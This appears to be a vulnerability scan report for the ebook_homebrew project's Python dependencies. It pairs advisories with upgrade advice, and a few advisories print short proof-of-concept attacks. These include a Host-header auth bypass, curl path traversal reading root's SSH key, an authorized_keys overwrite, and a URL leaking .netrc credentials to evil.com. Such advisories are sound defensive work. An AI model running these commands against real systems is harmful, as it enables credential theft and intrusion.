Upgrade pillow to version 10.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0
    Remediation: Upgrade to pypdf2@2.10.6.

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Denial of Service (DoS) due to invalid object. Exploiting this vulnerability is possible when reading the metadata.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade PyPDF2 to version 2.10.6 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.2.0.

Overview

Affected versions of this package are vulnerable to Infinite loop in trailer handling in PIL/PdfParser.py. An attacker can cause the application to consume excessive CPU by supplying a malicious file that creates a cyclic reference in the trailer's Prev pointer.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

medium severity
new

Infinite loop

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Infinite loop in the EPS file parsing process when handling the %%BeginBinary directive. An attacker can cause the application to enter an infinite loop by supplying a crafted EPS file with a negative byte count, resulting in resource exhaustion and denial of service.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

medium severity

Excessive Iteration

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Excessive Iteration in the parsing performed by multipart.py. An attacker can degrade performance by sending multipart requests with very large preamble or epilogue sections, causing excessive CPU consumption. The patterns of input that trigger inefficient processing are large numbers of CR or LF bytes before the first boundary, and large amounts of data after the closing boundary.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade python-multipart to version 0.0.26 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: setuptools
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in the process that applies exclusion directives from MANIFEST.in due to improper Unicode normalization handling on macOS APFS or HFS+ filesystems. An attacker can cause unintended files to be included in a source distribution by creating filenames that exploit normalization collisions.

Remediation

Upgrade setuptools to version 83.0.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the UploadFile.write method when handling multipart forms containing files larger than the default spool_max_size. An attacker can cause the application to block the main event thread by submitting a multipart form with a large file, preventing the application from accepting new connections.

Remediation

Upgrade starlette to version 0.47.2 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the request.url reconstruction process. An attacker can bypass path-based security checks by supplying a malformed Host header that causes request.url.path to differ from the actual requested path.

Note:

This is only exploitable if the application relies on request.url (or request.url.path) for security-sensitive decisions. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

PoC

pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        if request.url.path == "" or request.url.path == "/":
            return await call_next(request)
        return PlainTextResponse("Forbidden\n", status_code=403)

async def root(request):
    return PlainTextResponse("Hello World\n")
async def admin(request):
    return PlainTextResponse("secret=123\n")

routes = [
    Route("/", endpoint=root),
    Route("/admin", endpoint=admin),
]

app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])

Then, start the app using any of the ASGI servers:

pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app

Confirm that the Host header is not validated:

curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK

Remediation

Upgrade starlette to version 1.0.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1
    Remediation: Upgrade to sphinx@3.0.4.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to HTTP Request Smuggling through the QuerystringParser function. An attacker can bypass upstream validation and inject or override form fields by crafting specially formatted application/x-www-form-urlencoded bodies that exploit differences in field separator parsing.

Note:

This is only exploitable if there is an upstream body-inspecting component (a WAF, API gateway, proxy, etc.) between the attacker and the application, and that intermediary follows the WHATWG standard (treating only & as a separator, not ;).

Remediation

Upgrade python-multipart to version 0.0.30 or higher.

References

medium severity

Improper Validation of Specified Quantity in Input

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the parse_form function when processing a negative Content-Length header. An attacker can cause excessive memory usage by sending a crafted request with a negative Content-Length, resulting in the entire request body being buffered in memory at once.

Note:

This is only exploitable if the application directly calls parse_form with a Content-Length header taken from attacker-controlled input and does not normalize negative values first.

Remediation

Upgrade python-multipart to version 0.0.31 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Interpretation Conflict through the parse_options_header function. An attacker can bypass field name or filename-based access controls, or manipulate file upload destinations by submitting specially crafted multipart/form-data requests that exploit differences in parameter interpretation between upstream components and the backend.

Remediation

Upgrade python-multipart to version 0.0.30 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1
    Remediation: Upgrade to sphinx@3.0.4.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) Passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

NOTE: This vulnerability was also assigned CVE-2020-23064.

Details

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

medium severity

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') when dispatching HTTP requests to endpoint attributes via getattr. An attacker can invoke internal methods not intended as HTTP handlers by sending requests with non-standard HTTP methods whose names match internal attribute names, potentially bypassing authorization checks.

Note: This is only exploitable if an HTTPEndpoint subclass is registered through Route(...) without specifying the methods= argument and the subclass defines additional methods matching non-standard HTTP-method token shapes that accept a single request argument and return a response.

Workaround

This vulnerability can be mitigated by registering HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the supported HTTP verbs.

Remediation

Upgrade starlette to version 1.1.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop if __parse_content_stream is executed. This infinite loop blocks the current process and can utilize a single core of the CPU by 100%. It does not affect memory usage.

PoC

from pypdf import PdfReader

reader = PdfReader("MiFO_LFO_FEIS_NOA_Published.3.pdf")
page = reader.pages[0]
page.extract_text()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for PyPDF2.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0
    Remediation: Upgrade to pypdf2@1.27.9.

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity by crafting a PDF, leading to an unexpectedly long runtime when trying to read large files without xref marker. This quadratic runtime blocks the current process and can utilize a single CPU core by 100%.

Note: Exploiting this vulnerability does not affect memory usage.

Remediation

Upgrade PyPDF2 to version 1.27.9 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0
    Remediation: Upgrade to pypdf2@1.27.5.

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Infinite loop when trying to get the content stream of a crafted PDF.

Remediation

Upgrade PyPDF2 to version 1.27.5 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.3.0.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the MultipartParser class, which accepts an unlimited number of fields and files when parsing multipart/form-data. Exploiting this vulnerability is possible by sending too many small form fields with no content or too many empty files, which results in high CPU usage and high memory usage.

Note:

An affected application has to have all the following:

  1. python-multipart installed.

  2. calls request.form().

Workarounds

Applications that don't install python-multipart or that don't use form fields are safe.

In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade starlette to version 0.25.0 or higher.

References

medium severity

Race Condition

  • Vulnerable module: uvicorn
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 uvicorn@0.8.6
    Remediation: Upgrade to responder@2.0.7.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to Race Condition in the uvicorn/protocols/http component that leads Quart to hang with uvicorn. This vulnerability may allow an attacker to disrupt the server's response handling process under certain conditions, leading to potential Denial of Service (DoS) or other adverse impacts.

Remediation

Upgrade uvicorn to version 0.12.3 or higher.

References

medium severity

Excessive Iteration

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Excessive Iteration in the incremental mode for PDF processing. An attacker can cause excessive resource consumption and significantly degrade performance by loading a PDF file with a large trailer /Size value.

Remediation

There is no fixed version for PyPDF2.

References

medium severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the FlateDecode image processing when handling images with large size values. An attacker can exhaust system memory by crafting a PDF that references an image with manipulated dimensions, leading to resource exhaustion when the file is processed.

Remediation

There is no fixed version for PyPDF2.

References

medium severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pypdf2
  • Introduced through: pypdf2@1.26.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pypdf2@1.26.0

Overview

PyPDF2 is an A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the FlateDecode method when handling streams with a /Predictor value not equal to 1 and large predictor parameters. An attacker can cause excessive memory consumption by crafting a specially formed PDF file.

Remediation

There is no fixed version for PyPDF2.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

